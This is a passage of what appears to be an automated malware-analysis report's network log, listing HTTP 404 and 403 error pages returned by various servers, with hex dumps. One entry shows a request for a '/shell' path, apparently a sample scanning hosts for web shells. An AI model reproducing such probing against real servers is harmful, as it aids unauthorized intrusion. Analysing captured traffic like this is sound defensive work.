Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Sun, 14 Apr 2024 02:01:31 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.3</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:32 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Byte-nginxDate: Sun, 14 Apr 2024 02:01:32 GMTContent-Type: application/octet-streamConnection: keep-aliveByte-Error-Code: 0060Content-Length: 24via: cache02.yccux-request-ip: 81.181.54.60x-tt-trace-tag: id=5x-response-cinfo: 81.181.54.60x-response-cache: missData Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Tue, 09 Jan 2024 17:23:49 GMTetag: "999-659d8125-b4eaaa848bfba336;;;"accept-ranges: bytescontent-length: 2457date: Sun, 14 Apr 2024 02:01:32 GMTserver: LiteSpeedplatform: hostingerData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:35 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1566Date: Sun, 14 Apr 2024 02:01:36 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:36 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveAccept-Ranges: bytesVary: Accept-Encoding,User-AgentCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=200Transfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:36 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:36 GMTContent-Length: 1233Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13748Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 73 63 69 6e 74 65 72 6e 61 6c 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 65 6e 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:37 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
